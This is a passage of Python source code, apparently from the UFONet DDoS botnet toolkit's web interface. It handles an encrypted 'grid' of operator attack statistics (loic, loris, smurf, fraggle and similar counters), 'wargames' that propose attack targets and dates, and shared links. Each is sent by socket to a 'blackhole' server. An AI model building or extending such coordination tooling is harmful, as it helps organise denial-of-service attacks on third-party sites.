  5460. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present
  5461. self.decrypt(grid_key, grid_pinger)
  5462. if self.decryptedtext:
  5463. try:
  5464. grid_pinger = int(self.decryptedtext)
  5465. except:
  5466. grid_pinger = nodec_num
  5467. else:
  5468. grid_pinger = nodec_num
  5469. self.decryptedtext = "" # clean decryptedtext buffer
  5470. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present
  5471. self.decrypt(grid_key, grid_ufoudp)
  5472. if self.decryptedtext:
  5473. try:
  5474. grid_ufoudp = int(self.decryptedtext)
  5475. except:
  5476. grid_ufoudp = nodec_num
  5477. else:
  5478. grid_ufoudp = nodec_num
  5479. self.decryptedtext = "" # clean decryptedtext buffer
  5480. if version > 17:
  5481. grid_contact = m[25] # contact
  5482. self.decrypt(grid_key, grid_contact)
  5483. if self.decryptedtext:
  5484. grid_contact = self.decryptedtext
  5485. else:
  5486. grid_contact = nodec_text
  5487. self.decryptedtext = "" # clean decryptedtext buffer
  5488. grid_id = m[26] # id
  5489. elif version == 17:
  5490. grid_contact = m[16] # contact
  5491. self.decrypt(grid_key, grid_contact)
  5492. if self.decryptedtext:
  5493. grid_contact = self.decryptedtext
  5494. else:
  5495. grid_contact = nodec_text
  5496. self.decryptedtext = "" # clean decryptedtext buffer
  5497. grid_id = m[17] # id
  5498. elif version == 16:
  5499. grid_contact = m[15] # contact
  5500. self.decrypt(grid_key, grid_contact)
  5501. if self.decryptedtext:
  5502. grid_contact = self.decryptedtext
  5503. else:
  5504. grid_contact = nodec_text
  5505. self.decryptedtext = "" # clean decryptedtext buffer
  5506. grid_id = m[16] # id
  5507. elif version == 15:
  5508. grid_contact = m[14] # contact
  5509. self.decrypt(grid_key, grid_contact)
  5510. if self.decryptedtext:
  5511. grid_contact = self.decryptedtext
  5512. else:
  5513. grid_contact = nodec_text
  5514. self.decryptedtext = "" # clean decryptedtext buffer
  5515. grid_id = m[15] # id
  5516. elif version == 12:
  5517. grid_contact = m[11] # contact
  5518. self.decrypt(grid_key, grid_contact)
  5519. if self.decryptedtext:
  5520. grid_contact = self.decryptedtext
  5521. else:
  5522. grid_contact = nodec_text
  5523. self.decryptedtext = "" # clean decryptedtext buffer
  5524. grid_id = m[12] # id
  5525. elif version == 11:
  5526. grid_contact = m[10] # contact
  5527. self.decrypt(grid_key, grid_contact)
  5528. if self.decryptedtext:
  5529. grid_contact = self.decryptedtext
  5530. else:
  5531. grid_contact = nodec_text
  5532. self.decryptedtext = "" # clean decryptedtext buffer
  5533. grid_id = m[11] # id
  5534. elif version == 10:
  5535. grid_contact = m[9] # contact
  5536. self.decrypt(grid_key, grid_contact)
  5537. if self.decryptedtext:
  5538. grid_contact = self.decryptedtext
  5539. else:
  5540. grid_contact = nodec_text
  5541. self.decryptedtext = "" # clean decryptedtext buffer
  5542. grid_id = m[10] # id
  5543. else:
  5544. grid_contact = nodec_text
  5545. grid_id = '6666666666666666666666666666666666666' # fake id
  5546. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),int(grid_fraggle),int(grid_sniper),int(grid_ufoack),int(grid_uforst),int(grid_droper),int(grid_overlap),int(grid_pinger),int(grid_ufoudp),str(grid_contact),str(grid_id)])
  5547. if grid_filter == "nickname":
  5548. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  5549. elif grid_filter == "ranking":
  5550. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  5551. elif grid_filter == "chargo":
  5552. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  5553. elif grid_filter == "dorking":
  5554. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  5555. elif grid_filter == "transferred":
  5556. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  5557. elif grid_filter == "maxchargo":
  5558. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  5559. elif grid_filter == "missions":
  5560. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  5561. elif grid_filter == "attacks":
  5562. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  5563. elif grid_filter == "loic":
  5564. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  5565. elif grid_filter == "loris":
  5566. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  5567. elif grid_filter == "ufosyn":
  5568. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  5569. elif grid_filter == "spray":
  5570. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  5571. elif grid_filter == "smurf":
  5572. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  5573. elif grid_filter == "xmas":
  5574. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  5575. elif grid_filter == "nuke":
  5576. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  5577. elif grid_filter == "tachyon":
  5578. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  5579. elif grid_filter == "monlist":
  5580. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
  5581. elif grid_filter == "fraggle":
  5582. grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by fraggle
  5583. elif grid_filter == "sniper":
  5584. grid_items=sorted(grid_items,key=lambda x:x[18]) # sorted by sniper
  5585. elif grid_filter == "ufoack":
  5586. grid_items=sorted(grid_items,key=lambda x:x[19]) # sorted by ufoack
  5587. elif grid_filter == "uforst":
  5588. grid_items=sorted(grid_items,key=lambda x:x[20]) # sorted by uforst
  5589. elif grid_filter == "droper":
  5590. grid_items=sorted(grid_items,key=lambda x:x[21]) # sorted by droper
  5591. elif grid_filter == "overlap":
  5592. grid_items=sorted(grid_items,key=lambda x:x[22]) # sorted by overlap
  5593. elif grid_filter == "pinger":
  5594. grid_items=sorted(grid_items,key=lambda x:x[23]) # sorted by pinger
  5595. elif grid_filter == "ufoudp":
  5596. grid_items=sorted(grid_items,key=lambda x:x[24]) # sorted by ufoudp
  5597. elif grid_filter == "contact":
  5598. grid_items=sorted(grid_items,key=lambda x:x[25]) # sorted by contact
  5599. else:
  5600. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  5601. for i in grid_items:
  5602. grid_nickname = str(i[0])
  5603. self.encrypt(grid_key, grid_nickname)
  5604. if self.encryptedtext:
  5605. grid_nickname = self.encryptedtext
  5606. self.encryptedtext = "" # clean encryptedtext buffer
  5607. grid_ranking = str(i[1])
  5608. self.encrypt(grid_key, grid_ranking)
  5609. if self.encryptedtext:
  5610. grid_ranking = self.encryptedtext
  5611. self.encryptedtext = "" # clean encryptedtext buffer
  5612. grid_totalchargo = str(i[2])
  5613. self.encrypt(grid_key, grid_totalchargo)
  5614. if self.encryptedtext:
  5615. grid_totalchargo = self.encryptedtext
  5616. self.encryptedtext = "" # clean encryptedtext buffer
  5617. grid_dorking = str(i[3])
  5618. self.encrypt(grid_key, grid_dorking)
  5619. if self.encryptedtext:
  5620. grid_dorking = self.encryptedtext
  5621. self.encryptedtext = "" # clean encryptedtext buffer
  5622. grid_transferred = str(i[4])
  5623. self.encrypt(grid_key, grid_transferred)
  5624. if self.encryptedtext:
  5625. grid_transferred = self.encryptedtext
  5626. self.encryptedtext = "" # clean encryptedtext buffer
  5627. grid_maxchargo = str(i[5])
  5628. self.encrypt(grid_key, grid_maxchargo)
  5629. if self.encryptedtext:
  5630. grid_maxchargo = self.encryptedtext
  5631. self.encryptedtext = "" # clean encryptedtext buffer
  5632. grid_missions = str(i[6])
  5633. self.encrypt(grid_key, grid_missions)
  5634. if self.encryptedtext:
  5635. grid_missions = self.encryptedtext
  5636. self.encryptedtext = "" # clean encryptedtext buffer
  5637. grid_attacks = str(i[7])
  5638. self.encrypt(grid_key, grid_attacks)
  5639. if self.encryptedtext:
  5640. grid_attacks = self.encryptedtext
  5641. self.encryptedtext = "" # clean encryptedtext buffer
  5642. grid_loic = str(i[8])
  5643. self.encrypt(grid_key, grid_loic)
  5644. if self.encryptedtext:
  5645. grid_loic = self.encryptedtext
  5646. self.encryptedtext = "" # clean encryptedtext buffer
  5647. grid_loris = str(i[9])
  5648. self.encrypt(grid_key, grid_loris)
  5649. if self.encryptedtext:
  5650. grid_loris = self.encryptedtext
  5651. self.encryptedtext = "" # clean encryptedtext buffer
  5652. grid_ufosyn = str(i[10])
  5653. self.encrypt(grid_key, grid_ufosyn)
  5654. if self.encryptedtext:
  5655. grid_ufosyn = self.encryptedtext
  5656. self.encryptedtext = "" # clean encryptedtext buffer
  5657. grid_spray = str(i[11])
  5658. self.encrypt(grid_key, grid_spray)
  5659. if self.encryptedtext:
  5660. grid_spray = self.encryptedtext
  5661. self.encryptedtext = "" # clean encryptedtext buffer
  5662. grid_smurf = str(i[12])
  5663. self.encrypt(grid_key, grid_smurf)
  5664. if self.encryptedtext:
  5665. grid_smurf = self.encryptedtext
  5666. self.encryptedtext = "" # clean encryptedtext buffer
  5667. grid_xmas = str(i[13])
  5668. self.encrypt(grid_key, grid_xmas)
  5669. if self.encryptedtext:
  5670. grid_xmas = self.encryptedtext
  5671. self.encryptedtext = "" # clean encryptedtext buffer
  5672. grid_nuke = str(i[14])
  5673. self.encrypt(grid_key, grid_nuke)
  5674. if self.encryptedtext:
  5675. grid_nuke = self.encryptedtext
  5676. self.encryptedtext = "" # clean encryptedtext buffer
  5677. grid_tachyon = str(i[15])
  5678. self.encrypt(grid_key, grid_tachyon)
  5679. if self.encryptedtext:
  5680. grid_tachyon = self.encryptedtext
  5681. self.encryptedtext = "" # clean encryptedtext buffer
  5682. grid_monlist = str(i[16])
  5683. self.encrypt(grid_key, grid_monlist)
  5684. if self.encryptedtext:
  5685. grid_monlist = self.encryptedtext
  5686. self.encryptedtext = "" # clean encryptedtext buffer
  5687. grid_fraggle = str(i[17])
  5688. self.encrypt(grid_key, grid_fraggle)
  5689. if self.encryptedtext:
  5690. grid_fraggle = self.encryptedtext
  5691. self.encryptedtext = "" # clean encryptedtext buffer
  5692. grid_sniper = str(i[18])
  5693. self.encrypt(grid_key, grid_sniper)
  5694. if self.encryptedtext:
  5695. grid_sniper = self.encryptedtext
  5696. self.encryptedtext = "" # clean encryptedtext buffer
  5697. grid_ufoack = str(i[19])
  5698. self.encrypt(grid_key, grid_ufoack)
  5699. if self.encryptedtext:
  5700. grid_ufoack = self.encryptedtext
  5701. self.encryptedtext = "" # clean encryptedtext buffer
  5702. grid_uforst = str(i[20])
  5703. self.encrypt(grid_key, grid_uforst)
  5704. if self.encryptedtext:
  5705. grid_uforst = self.encryptedtext
  5706. self.encryptedtext = "" # clean encryptedtext buffer
  5707. grid_droper = str(i[21])
  5708. self.encrypt(grid_key, grid_droper)
  5709. if self.encryptedtext:
  5710. grid_droper = self.encryptedtext
  5711. self.encryptedtext = "" # clean encryptedtext buffer
  5712. grid_overlap = str(i[22])
  5713. self.encrypt(grid_key, grid_overlap)
  5714. if self.encryptedtext:
  5715. grid_overlap = self.encryptedtext
  5716. self.encryptedtext = "" # clean encryptedtext buffer
  5717. grid_pinger = str(i[23])
  5718. self.encrypt(grid_key, grid_pinger)
  5719. if self.encryptedtext:
  5720. grid_pinger = self.encryptedtext
  5721. self.encryptedtext = "" # clean encryptedtext buffer
  5722. grid_ufoudp = str(i[24])
  5723. self.encrypt(grid_key, grid_ufoudp)
  5724. if self.encryptedtext:
  5725. grid_ufoudp = self.encryptedtext
  5726. self.encryptedtext = "" # clean encryptedtext buffer
  5727. grid_contact = str(i[25])
  5728. self.encrypt(grid_key, grid_contact)
  5729. if self.encryptedtext:
  5730. grid_contact = self.encryptedtext
  5731. self.encryptedtext = "" # clean encryptedtext buffer
  5732. grid_id = str(i[26]) # id (plain id)
  5733. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_fraggle) + "#?#" + str(grid_sniper) + "#?#" + str(grid_ufoack) + "#?#" + str(grid_uforst) + "#?#" + str(grid_droper) + "#?#" + str(grid_overlap) + "#?#" + str(grid_pinger) + "#?#" + str(grid_ufoudp) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  5734. f.write(l + os.linesep)
  5735. f.close()
  5736. except:
  5737. pass
  5738. if page == "/cmd_grid_filter_update":
  5739. if not os.path.exists('/tmp/out'):
  5740. open('/tmp/out', 'w').close()
  5741. with open('/tmp/out', 'r') as f:
  5742. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  5743. if page == "/cmd_transfer_grid":
  5744. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5745. blackhole_ip = pGet["grid_source"]
  5746. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5747. try:
  5748. grid_key = pGet["grid_key"]
  5749. except:
  5750. grid_key = ""
  5751. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5752. if grid_key != "": # stream creation + encryption + package send
  5753. try:
  5754. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  5755. grid_data = json.load(grid_json_file)
  5756. grid_json_file.close()
  5757. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  5758. stats_data = json.load(stats_json_file)
  5759. stats_json_file.close()
  5760. nickname = grid_data["grid_nick"].encode('utf-8')
  5761. self.encrypt(grid_key, nickname)
  5762. if self.encryptedtext:
  5763. nickname = self.encryptedtext
  5764. self.encryptedtext = "" # clean encryptedtext buffer
  5765. ranking = self.ranking
  5766. if ranking == "Rookie":
  5767. ranking = 1
  5768. elif ranking == "Mercenary":
  5769. ranking = 2
  5770. elif ranking == "Bandit":
  5771. ranking = 3
  5772. elif ranking == "UFOmmander!":
  5773. ranking = 4
  5774. elif ranking == "UFOl33t!":
  5775. ranking = 5
  5776. else:
  5777. ranking = 1
  5778. self.encrypt(grid_key, str(ranking))
  5779. if self.encryptedtext:
  5780. ranking = self.encryptedtext
  5781. self.encryptedtext = "" # clean encryptedtext buffer
  5782. chargo = self.total_botnet
  5783. self.encrypt(grid_key, str(chargo))
  5784. if self.encryptedtext:
  5785. chargo = self.encryptedtext
  5786. self.encryptedtext = "" # clean encryptedtext buffer
  5787. dorking = stats_data["scanner"]
  5788. self.encrypt(grid_key, str(dorking))
  5789. if self.encryptedtext:
  5790. dorking = self.encryptedtext
  5791. self.encryptedtext = "" # clean encryptedtext buffer
  5792. transferred = stats_data["transferred"]
  5793. self.encrypt(grid_key, str(transferred))
  5794. if self.encryptedtext:
  5795. transferred = self.encryptedtext
  5796. self.encryptedtext = "" # clean encryptedtext buffer
  5797. max_chargo = stats_data["max_chargo"]
  5798. self.encrypt(grid_key, str(max_chargo))
  5799. if self.encryptedtext:
  5800. max_chargo = self.encryptedtext
  5801. self.encryptedtext = "" # clean encryptedtext buffer
  5802. missions = stats_data["missions"]
  5803. self.encrypt(grid_key, str(missions))
  5804. if self.encryptedtext:
  5805. missions = self.encryptedtext
  5806. self.encryptedtext = "" # clean encryptedtext buffer
  5807. attacks = stats_data["completed"]
  5808. self.encrypt(grid_key, str(attacks))
  5809. if self.encryptedtext:
  5810. attacks = self.encryptedtext
  5811. self.encryptedtext = "" # clean encryptedtext buffer
  5812. loic = stats_data["loic"]
  5813. self.encrypt(grid_key, str(loic))
  5814. if self.encryptedtext:
  5815. loic = self.encryptedtext
  5816. self.encryptedtext = "" # clean encryptedtext buffer
  5817. loris = stats_data["loris"]
  5818. self.encrypt(grid_key, str(loris))
  5819. if self.encryptedtext:
  5820. loris = self.encryptedtext
  5821. self.encryptedtext = "" # clean encryptedtext buffer
  5822. ufosyn = stats_data["ufosyn"]
  5823. self.encrypt(grid_key, str(ufosyn))
  5824. if self.encryptedtext:
  5825. ufosyn = self.encryptedtext
  5826. self.encryptedtext = "" # clean encryptedtext buffer
  5827. spray = stats_data["spray"]
  5828. self.encrypt(grid_key, str(spray))
  5829. if self.encryptedtext:
  5830. spray = self.encryptedtext
  5831. self.encryptedtext = "" # clean encryptedtext buffer
  5832. smurf = stats_data["smurf"]
  5833. self.encrypt(grid_key, str(smurf))
  5834. if self.encryptedtext:
  5835. smurf = self.encryptedtext
  5836. self.encryptedtext = "" # clean encryptedtext buffer
  5837. xmas = stats_data["xmas"]
  5838. self.encrypt(grid_key, str(xmas))
  5839. if self.encryptedtext:
  5840. xmas = self.encryptedtext
  5841. self.encryptedtext = "" # clean encryptedtext buffer
  5842. nuke = stats_data["nuke"]
  5843. self.encrypt(grid_key, str(nuke))
  5844. if self.encryptedtext:
  5845. nuke = self.encryptedtext
  5846. self.encryptedtext = "" # clean encryptedtext buffer
  5847. tachyon = stats_data["tachyon"]
  5848. self.encrypt(grid_key, str(tachyon))
  5849. if self.encryptedtext:
  5850. tachyon = self.encryptedtext
  5851. self.encryptedtext = "" # clean encryptedtext buffer
  5852. monlist = stats_data["monlist"]
  5853. self.encrypt(grid_key, str(monlist))
  5854. if self.encryptedtext:
  5855. monlist = self.encryptedtext
  5856. self.encryptedtext = "" # clean encryptedtext buffer
  5857. fraggle = stats_data["fraggle"]
  5858. self.encrypt(grid_key, str(fraggle))
  5859. if self.encryptedtext:
  5860. fraggle = self.encryptedtext
  5861. self.encryptedtext = "" # clean encryptedtext buffer
  5862. sniper = stats_data["sniper"]
  5863. self.encrypt(grid_key, str(sniper))
  5864. if self.encryptedtext:
  5865. sniper = self.encryptedtext
  5866. self.encryptedtext = "" # clean encryptedtext buffer
  5867. ufoack = stats_data["ufoack"]
  5868. self.encrypt(grid_key, str(ufoack))
  5869. if self.encryptedtext:
  5870. ufoack = self.encryptedtext
  5871. self.encryptedtext = "" # clean encryptedtext buffer
  5872. uforst = stats_data["uforst"]
  5873. self.encrypt(grid_key, str(uforst))
  5874. if self.encryptedtext:
  5875. uforst = self.encryptedtext
  5876. self.encryptedtext = "" # clean encryptedtext buffer
  5877. droper = stats_data["droper"]
  5878. self.encrypt(grid_key, str(droper))
  5879. if self.encryptedtext:
  5880. droper = self.encryptedtext
  5881. self.encryptedtext = "" # clean encryptedtext buffer
  5882. overlap = stats_data["overlap"]
  5883. self.encrypt(grid_key, str(overlap))
  5884. if self.encryptedtext:
  5885. overlap = self.encryptedtext
  5886. self.encryptedtext = "" # clean encryptedtext buffer
  5887. pinger = stats_data["pinger"]
  5888. self.encrypt(grid_key, str(pinger))
  5889. if self.encryptedtext:
  5890. pinger = self.encryptedtext
  5891. self.encryptedtext = "" # clean encryptedtext buffer
  5892. ufoudp = stats_data["ufoudp"]
  5893. self.encrypt(grid_key, str(ufoudp))
  5894. if self.encryptedtext:
  5895. ufoudp = self.encryptedtext
  5896. self.encryptedtext = "" # clean encryptedtext buffer
  5897. contact = grid_data["grid_contact"].encode('utf-8')
  5898. self.encrypt(grid_key, str(contact))
  5899. if self.encryptedtext:
  5900. contact = self.encryptedtext
  5901. self.encryptedtext = "" # clean encryptedtext buffer
  5902. id = grid_data["grid_token"] # plain text
  5903. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(fraggle)+grid_msg_sep+str(sniper)+grid_msg_sep+str(ufoack)+grid_msg_sep+str(uforst)+grid_msg_sep+str(droper)+grid_msg_sep+str(overlap)+grid_msg_sep+str(pinger)+grid_msg_sep+str(ufoudp)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  5904. try:
  5905. host = blackhole_ip
  5906. cport = 9992 # port used by mothership grider (server side script)
  5907. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5908. gs.settimeout(5.0)
  5909. gs.connect((host, cport))
  5910. gs.send(stream.encode())
  5911. gs.close()
  5912. try: # download latest grid after submit
  5913. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  5914. f = open(self.grid_file, "w") # write updates to grid.txt
  5915. f.write(grid)
  5916. f.close()
  5917. except:
  5918. pass
  5919. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  5920. except:
  5921. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  5922. except:
  5923. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  5924. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5925. f = open("/tmp/out", "w")
  5926. f.write(grid_trans)
  5927. f.write(end_mark)
  5928. f.close()
  5929. if page == "/cmd_transfer_grid_update":
  5930. if not os.path.exists('/tmp/out'):
  5931. open('/tmp/out', 'w').close()
  5932. with open('/tmp/out', 'r') as f:
  5933. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  5934. if page == "/cmd_transfer_wargame":
  5935. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5936. blackhole_ip = pGet["wargames_source2"]
  5937. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5938. try:
  5939. wargames_enckey = pGet["wargames_enckey"]
  5940. except:
  5941. wargames_enckey = ""
  5942. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5943. wargames_target = pGet["wargames_target"]
  5944. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  5945. t = urlparse(wargames_target)
  5946. wargames_target = t.netloc
  5947. else:
  5948. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  5949. wargames_enckey = ""
  5950. if wargames_target.startswith("www."):
  5951. wargames_target = wargames_target.replace("www.","")
  5952. wargames_estimated = pGet["wargames_estimated"]
  5953. try:
  5954. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  5955. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  5956. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  5957. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  5958. wargames_enckey = ""
  5959. except:
  5960. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  5961. wargames_enckey = ""
  5962. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5963. if wargames_enckey != "": # stream creation + encryption + package send
  5964. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5965. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5966. try:
  5967. self.encrypt(wargames_enckey, wargames_creation)
  5968. if self.encryptedtext:
  5969. wargames_creation = self.encryptedtext
  5970. self.encryptedtext = "" # clean encryptedtext buffer
  5971. self.encrypt(wargames_enckey, wargames_target)
  5972. if self.encryptedtext:
  5973. wargames_target = self.encryptedtext
  5974. self.encryptedtext = "" # clean encryptedtext buffer
  5975. self.encrypt(wargames_enckey, wargames_estimated)
  5976. if self.encryptedtext:
  5977. wargames_estimated = self.encryptedtext
  5978. self.encryptedtext = "" # clean encryptedtext buffer
  5979. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  5980. try:
  5981. host = blackhole_ip
  5982. cport = 9992 # port used by mothership grider (server side script)
  5983. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5984. gs.settimeout(5.0)
  5985. gs.connect((host, cport))
  5986. gs.send(stream.encode())
  5987. gs.close()
  5988. try: # download latest wargames after submit
  5989. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  5990. f = open(self.wargames_file, "w") # write updates to wargames.txt
  5991. f.write(wargames)
  5992. f.close()
  5993. except:
  5994. pass
  5995. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  5996. except:
  5997. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  5998. except:
  5999. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  6000. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6001. f = open("/tmp/out", "w")
  6002. f.write(wargames_trans)
  6003. f.write(end_mark)
  6004. f.close()
  6005. if page == "/cmd_transfer_wargame_update":
  6006. if not os.path.exists('/tmp/out'):
  6007. open('/tmp/out', 'w').close()
  6008. with open('/tmp/out', 'r') as f:
  6009. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  6010. if page == "/cmd_transfer_link":
  6011. self.pages["/cmd_transfer_link"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6012. blackhole_ip = pGet["link_source2"]
  6013. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6014. try:
  6015. link_enckey = pGet["link_enckey"]
  6016. except:
  6017. link_enckey = ""
  6018. link_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6019. link_url = pGet["link_url"]
  6020. if link_url.startswith("http://") or link_url.startswith("https://"): # parse proposed link
  6021. pass
  6022. else:
  6023. links_trans = "[Error] [AI] Proposed link hasn't a correct format!. Try it again...\n"
  6024. link_enckey = ""
  6025. if link_url.startswith("www."):
  6026. link_url = link_url.replace("www.","")
  6027. link_topic = pGet["link_topic"]
  6028. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6029. if link_enckey != "": # stream creation + encryption + package send
  6030. try:
  6031. self.encrypt(link_enckey, link_creation)
  6032. if self.encryptedtext:
  6033. link_creation = self.encryptedtext
  6034. self.encryptedtext = "" # clean encryptedtext buffer
  6035. self.encrypt(link_enckey, link_url)
  6036. if self.encryptedtext:
  6037. link_url = self.encryptedtext
  6038. self.encryptedtext = "" # clean encryptedtext buffer
  6039. self.encrypt(link_enckey, link_topic)
  6040. if self.encryptedtext:
  6041. link_topic = self.encryptedtext
  6042. self.encryptedtext = "" # clean encryptedtext buffer
  6043. stream = str(link_creation)+links_msg_sep+str(link_url)+links_msg_sep+str(link_topic)
  6044. try:
  6045. host = blackhole_ip
  6046. cport = 9992 # port used by mothership grider (server side script)
  6047. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6048. gs.settimeout(5.0)
  6049. gs.connect((host, cport))
  6050. gs.send(stream.encode())
  6051. gs.close()
  6052. try: # download latest links after submit
  6053. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  6054. f = open(self.links_file, "w") # write updates to links.txt
  6055. f.write(links)
  6056. f.close()
  6057. except:
  6058. pass
  6059. links_trans = "[Info] [AI] Link transferred! -> [OK!]\n"
  6060. except:
  6061. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  6062. except:
  6063. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  6064. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6065. f = open("/tmp/out", "w")
  6066. f.write(links_trans)
  6067. f.write(end_mark)
  6068. f.close()
  6069. if page == "/cmd_transfer_link_update":
  6070. if not os.path.exists('/tmp/out'):
  6071. open('/tmp/out', 'w').close()
  6072. with open('/tmp/out', 'r') as f:
  6073. self.pages["/cmd_transfer_link_update"] = "<pre>"+f.read()+"<pre>"
  6074. if page == "/cmd_transfer_stream":
  6075. self.pages["/cmd_transfer_stream"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6076. blackhole_ip = pGet["stream_source2"]
  6077. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6078. try:
  6079. stream_enckey = pGet["stream_enckey"]
  6080. except:
  6081. stream_enckey = ""
  6082. stream_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6083. stream_url = pGet["stream_url"]
  6084. if stream_url.startswith("http://") or stream_url.startswith("https://"): # parse proposed stream
  6085. pass
  6086. else:
  6087. streams_trans = "[Error] [AI] Proposed stream hasn't a correct format!. Try it again...\n"
  6088. stream_enckey = ""
  6089. if stream_url.startswith("www."):
  6090. stream_url = stream_url.replace("www.","")
  6091. stream_topic = pGet["stream_topic"]
  6092. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6093. if stream_enckey != "": # stream creation + encryption + package send
  6094. try:
  6095. self.encrypt(stream_enckey, stream_creation)
  6096. if self.encryptedtext:
  6097. stream_creation = self.encryptedtext
  6098. self.encryptedtext = "" # clean encryptedtext buffer
  6099. self.encrypt(stream_enckey, stream_url)
  6100. if self.encryptedtext:
  6101. stream_url = self.encryptedtext
  6102. self.encryptedtext = "" # clean encryptedtext buffer
  6103. self.encrypt(stream_enckey, stream_topic)
  6104. if self.encryptedtext:
  6105. stream_topic = self.encryptedtext
